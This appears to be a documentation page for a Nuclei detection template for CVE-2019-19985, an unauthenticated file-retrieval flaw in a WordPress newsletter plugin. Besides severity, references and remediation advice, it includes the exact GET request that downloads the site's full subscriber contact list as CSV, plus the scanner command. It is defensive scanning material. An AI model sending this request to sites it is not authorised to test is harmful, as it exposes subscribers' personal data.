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WordPress Email Subscribers & Newsletters <4.2.3 - Arbitrary File Retrieval

ID: CVE-2019-19985

Severity: medium

Author: KBA@SOGETI_ESEC,madrobot,dwisiswant0

Tags: cve,cve2019,wordpress,wp-plugin,edb,packetstorm,icegram

Description

Section titled “Description”

WordPress Email Subscribers & Newsletters plugin before 4.2.3 is susceptible to arbitrary file retrieval via a flaw that allows unauthenticated file download and user information disclosure. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

YAML Source

Section titled “YAML Source”
id: CVE-2019-19985


info:
  name: WordPress Email Subscribers & Newsletters <4.2.3 - Arbitrary File Retrieval
  author: KBA@SOGETI_ESEC,madrobot,dwisiswant0
  severity: medium
  description: WordPress Email Subscribers & Newsletters plugin before 4.2.3 is susceptible to arbitrary file retrieval via a flaw that allows unauthenticated file download and user information disclosure. An attacker can  obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized access or data leakage.
  remediation: |
    Update to the latest version of WordPress Email Subscribers & Newsletters plugin (4.2.3) or apply the patch provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/48698
    - https://wpvulndb.com/vulnerabilities/9946
    - https://www.wordfence.com/blog/2019/11/multiple-vulnerabilities-patched-in-email-subscribers-newsletters-plugin/
    - http://packetstormsecurity.com/files/158563/WordPress-Email-Subscribers-And-Newsletters-4.2.2-File-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19985
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-19985
    cwe-id: CWE-862
    epss-score: 0.16771
    epss-percentile: 0.95569
    cpe: cpe:2.3:a:icegram:email_subscribers_\&_newsletters:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: icegram
    product: email_subscribers_\&_newsletters
    framework: wordpress
  tags: cve,cve2019,wordpress,wp-plugin,edb,packetstorm,icegram


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=download_report&report=users&status=all"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - Name
          - Email
          - Status
          - Created On
        condition: and


      - type: word
        part: header
        words:
          - "Content-Disposition: attachment; filename=all-contacts.csv;"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-19985.yaml"

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